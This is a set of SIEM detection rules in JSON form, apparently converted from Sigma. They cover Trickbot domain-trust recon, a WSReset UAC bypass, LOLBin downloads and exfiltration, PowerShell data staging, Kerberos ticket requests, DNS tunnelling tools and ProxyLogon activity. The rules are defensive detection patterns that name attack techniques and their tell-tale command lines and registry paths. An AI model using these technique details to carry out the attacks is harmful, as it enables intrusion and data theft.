{"description": "Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes. This detectors attempts to identify that activity based off a command rarely observed in an enterprise network.", "enabled": false, "false_positives": ["Rare System Admin Activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bbaf4277-a851-2fae-b4d6-a1f7aaf61901", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Trickbot Malware Recon Activity", "query": "(process.parent.executable:*\\\\cmd.exe AND process.executable:*\\\\nltest.exe AND process.command_line:*\\/domain_trusts\\ \\/all_trusts*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1482"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1482", "name": "Domain Trust Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["David Burkett", "Florian Roth"], "license": ""}
{"description": "Triggers on any Sysmon file block executable event. Which should indicates a violation of the block policy set", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "71d416bf-839f-89ad-be2c-faf782369277", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Sysmon Blocked Executable", "query": "winlog.event_id:\"27\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Turn off logging locally or remote", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "db8720ab-ba13-c5d1-6909-971728b56a71", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Cisco Disabling Logging", "query": "((*no logging*) OR (*no aaa new-model*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "Unfixed method for UAC bypass from windows 10. WSReset.exe file associated with the Windows Store. It will run a binary file contained in a low-privilege registry.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ad4dc034-72c6-f40e-7a4b-40b9b802de80", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Via Wsreset", "query": "winlog.event_data.TargetObject:*\\\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\\\Shell\\\\open\\\\command", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Dmitry Uchakin"], "license": ""}
{"description": "Uninstall an application with wmic", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "de9fa8ae-27a2-edcf-c3eb-3e911e12b1a4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMI Uninstall An Application", "query": "((process.executable:*\\\\WMIC.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND process.command_line:*call\\ uninstall*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frac113"], "license": ""}
{"description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "89da6de7-9040-e6f8-7cff-dba60fdd4e1f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious ConfigSecurityPolicy Execution", "query": "(process.command_line:*ConfigSecurityPolicy.exe* AND process.command_line:(*https\\:\\/\\/* OR *http\\:\\/\\/* OR *ftp\\:\\/\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1567"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1567", "name": "Exfiltration Over Web Service", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use IMEWDBLD.exe (built-in to windows) to download a file", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "99cad4b4-14d1-25eb-1f1f-f90f77892bbf", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Download a File with IMEWDBLD.exe", "query": "(winlog.event_data.Initiated:\"true\" AND process.executable:*\\\\IMEWDBLD.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "892838c6-072f-ed35-52fa-32a68fb325d2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Zip A Folder With PowerShell For Staging In Temp", "query": "(process.command_line.text:*Compress\\-Archive\\ * AND process.command_line.text:*\\ \\-Path\\ * AND process.command_line.text:*\\ \\-DestinationPath\\ * AND process.command_line.text:*$env\\:TEMP\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1074"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1074", "name": "Data Staged", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "892838c6-072f-ed35-52fa-32a68fb325d2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Zip A Folder With PowerShell For Staging In Temp", "query": "(ContextInfo:*Compress\\-Archive\\ * AND ContextInfo:*\\ \\-Path\\ * AND ContextInfo:*\\ \\-DestinationPath\\ * AND ContextInfo:*$env\\:TEMP\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1074"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1074", "name": "Data Staged", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "892838c6-072f-ed35-52fa-32a68fb325d2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Zip A Folder With PowerShell For Staging In Temp", "query": "(powershell.file.script_block_text:*Compress\\-Archive\\ * AND powershell.file.script_block_text:*\\ \\-Path\\ * AND powershell.file.script_block_text:*\\ \\-DestinationPath\\ * AND powershell.file.script_block_text:*$env\\:TEMP\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1074"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1074", "name": "Data Staged", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "892838c6-072f-ed35-52fa-32a68fb325d2", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Zip A Folder With PowerShell For Staging In Temp", "query": "(process.command_line.text:*Compress\\-Archive\\ * AND process.command_line.text:*\\ \\-Path\\ * AND process.command_line.text:*\\ \\-DestinationPath\\ * AND process.command_line.text:*$env\\:TEMP\\\\*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1074"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1074", "name": "Data Staged", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use of hostname to get information", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "30807aa3-18c0-a2ff-3def-c24e63d0ff7e", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Execution of Hostname", "query": "process.executable:*\\\\HOSTNAME.EXE", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1082"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use of reg to get MachineGuid information", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f292a904-fbf0-70d4-c0ae-afa33794f91d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Query of MachineGUID", "query": "(process.executable:*\\\\reg.exe AND process.command_line:*SOFTWARE\\\\Microsoft\\\\Cryptography* AND process.command_line:*\\/v\\ * AND process.command_line:*MachineGuid*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1082"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use of the commandline to shutdown or reboot windows", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f4f2de85-5210-7b21-028b-0e3e824d6d36", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Execution of Shutdown", "query": "(process.executable:*\\\\shutdown.exe AND process.command_line:(*\\/r\\ * OR *\\/s\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1529"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1529", "name": "System Shutdown/Reboot", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Use OfflineScannerShell.exe to execute mpclient.dll library in the current working directory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9c569434-b3a1-e219-1e7b-f4dd5fde0469", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious OfflineScannerShell.exe Execution From Another Folder", "query": "(process.executable:*\\\\OfflineScannerShell.exe AND (NOT ((process.working_directory:\"C\\:\\\\Program\\ Files\\\\Windows\\ Defender\\\\Offline\\\\\") OR (NOT _exists_:process.working_directory))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "User Added to an Administrator's Azure AD Role", "enabled": false, "false_positives": ["PIM (Privileged Identity Management) generates this event each time 'eligible role' is enabled."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "ac2f013c-d2ae-5d77-ccc9-b55359e4b090", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Added to an Administrator's Azure AD Role", "query": "(Operation:\"Add\\ member\\ to\\ role.\" AND Workload:\"AzureActiveDirectory\" AND ModifiedProperties{}.NewValue:(*Admins OR *Administrator))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1098"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1098", "name": "Account Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Rapha\u00ebl CALVET", "@MetallicHack"], "license": ""}
{"description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", "enabled": false, "false_positives": ["Users actually login but miss-click into the Deny button when MFA prompt."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3099df1d-190e-a292-f9d3-209311ec68d5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Multifactor Authentication Denied", "query": "(AuthenticationRequirement:\"multiFactorAuthentication\" AND winlog.event_data.Status:*MFA\\ Denied*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1078"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1078", "name": "Valid Accounts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["AlertIQ"], "license": ""}
{"description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "12109a74-bf5a-48b5-74fc-c2567cc9458b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Install a DLL in System32", "query": "(powershell.file.script_block_text:*Copy\\-Item\\ * AND powershell.file.script_block_text:*\\-Destination\\ * AND powershell.file.script_block_text:(*\\\\Windows\\\\System32* OR *\\\\Windows\\\\SysWOW64*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1556"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1556", "name": "Modify Authentication Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Uses PowerShell to install/copy a a file into a system directory such as \"System32\" or \"SysWOW64\"", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5968b2d0-32b3-e942-8aec-11a465b40b15", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Install a DLL in System Directory", "query": "(powershell.file.script_block_text:*Copy\\-Item\\ * AND powershell.file.script_block_text:*\\-Destination\\ * AND powershell.file.script_block_text:(*\\\\Windows\\\\System32* OR *\\\\Windows\\\\SysWOW64*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1556"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1556", "name": "Modify Authentication Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113", "Nasreddine Bencherchali"], "license": ""}
{"description": "Uses the .NET InstallUtil.exe application in order to execute image without log", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3a741a83-edc8-b870-5035-f59ba3a0ab1b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Execution of InstallUtil Without Log", "query": "(process.executable:*\\\\InstallUtil.exe AND process.executable:*Microsoft.NET\\\\Framework* AND process.command_line:*\\/logfile\\=\\ * AND process.command_line:*\\/LogToConsole\\=false*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "utilize Get-AdComputer to enumerate Computers within Active Directory.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "36d74440-2275-afcd-9bc5-4abe22a03b51", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Enumerate Active Directory Computers with Get-AdComputer", "query": "(powershell.file.script_block_text:*Get\\-AdComputer\\ * AND powershell.file.script_block_text:*\\-Filter*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1018"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer.\nThis behavior is typically used during a kerberos or silver ticket attack.\nA successful execution will output the SPNs for the endpoint in question.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2c8cd51a-2dc6-3c95-8be2-97dadb2a547f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Request A Single Ticket via PowerShell", "query": "powershell.file.script_block_text:*System.IdentityModel.Tokens.KerberosRequestorSecurityToken*", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1558"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1558", "name": "Steal or Forge Kerberos Tickets", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Various protocols maybe used to put data on the device for exfil or infil", "author": ["Austin Clark"], "enabled": false, "false_positives": ["Generally used to copy configs or IOS images"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "091fdb99-2d89-bb7b-b1d1-ee9a99b4ebc8", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Cisco Stage Data", "query": "((*tftp*) OR (*rcp*) OR (*puts*) OR (*copy*) OR (*configure replace*) OR (*archive tar*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Lateral Movement", "T1074", "T1105", "T1560"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1074", "name": "Data Staged", "reference": ""}, {"id": "T1560", "name": "Archive Collected Data", "reference": ""}]}], "version": 1, "license": "", "references": [""], "timestamp_override": "event.ingested"}
{"description": "VisualUiaVerifyNative.exe is a Windows SDK that can be used for AWL bypass and is listed in Microsoft's recommended block rules.", "enabled": false, "false_positives": ["Legitimate testing of Microsoft UI parts."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "421193e5-d812-93a2-bbcc-3a6f50e76c3a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use of VisualUiaVerifyNative.exe", "query": "(process.executable:*\\\\VisualUiaVerifyNative.exe OR winlog.event_data.OriginalFileName:\"VisualUiaVerifyNative.exe\")", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Christopher Peacock @SecurePeacock", "SCYTHE @scythe_io"], "license": ""}
{"description": "Well-known DNS Exfiltration tools execution", "enabled": false, "false_positives": ["Legitimate usage of iodine or dnscat2 \u2014 DNS Exfiltration tools (unlikely)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5be79405-639e-b18f-5e16-460b9cd16d29", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS Exfiltration and Tunneling Tools Execution", "query": "(process.executable:*\\\\iodine.exe OR process.executable:*\\\\dnscat2*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1048", "T1071", "T1132"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", "enabled": false, "false_positives": ["Legitimate OpenVPN TAP insntallation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "be439e76-cb5e-8993-e92d-a52d0e01f572", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Tap Installer Execution", "query": "(process.executable.text:*\\\\tapinstall.exe AND (NOT ((process.executable.text:(\"C\\:\\\\Program\\ Files\\\\Avast\\ Software\\\\SecureLine\\ VPN\\\\tapinstall.exe\" OR \"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Avast\\ Software\\\\SecureLine\\ VPN\\\\tapinstall.exe\")))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "Ian Davis", "oscd.community"], "license": ""}
{"description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", "enabled": false, "false_positives": ["Legitimate OpenVPN TAP insntallation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "338a97e1-c7e9-abdb-424c-7f2d006eed5b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Tap Driver Installation", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4697\" AND winlog.event_data.ServiceFileName:*tap0901*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "Ian Davis", "oscd.community"], "license": ""}
{"description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", "enabled": false, "false_positives": ["Legitimate OpenVPN TAP insntallation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "338a97e1-c7e9-abdb-424c-7f2d006eed5b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Tap Driver Installation", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Service\\ Control\\ Manager\" AND winlog.event_id:\"7045\" AND winlog.event_data.ImagePath:*tap0901*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "Ian Davis", "oscd.community"], "license": ""}
{"description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.", "enabled": false, "false_positives": ["Admin activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9137ce5c-b48c-b31e-c6b5-99d82c6ff191", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Change Default File Association", "query": "(process.command_line:*cmd* AND process.command_line:*\\/c* AND process.command_line:*assoc*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "When C# is compiled dynamically, a .cmdline file will be created as a part of the process.\nCertain processes are not typically observed compiling C# code, but can do so without touching disk.\nThis can be used to unpack a payload for execution\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6f4330d4-5bef-b392-3f68-71d0945f10b0", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Dynamic C Sharp Compile Artefact", "query": "file.path:*.cmdline", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", "author": ["frack113"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4fedf42-3e85-8269-357c-ec160a8eb0cb", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "ProxyLogon Reset Virtual Directories Based On IIS Log", "query": "(((cs-method:\"POST\" AND sc-status:\"200\" AND cs-uri-stem:\"/ecp/DDI/DDIService.svc/SetObject\" AND cs-uri-query:*schema\\=Reset* AND cs-uri-query:*VirtualDirectory* AND cs-username:*$)) OR ((*POST* AND \"200\" AND */ecp/DDI/DDIService.svc/SetObject* AND *schema=Reset* AND *VirtualDirectory* AND *$*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol \"~\"", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "587729a3-7077-b978-58b7-76a1f1a84744", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Successful IIS Shortname Fuzzing Scan", "query": "(cs-uri-query:*\\~1* AND cs-uri-query:*a.aspx AND http.request.method:(\"GET\" OR \"OPTIONS\") AND http.response.status_code:(\"200\" OR \"301\"))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
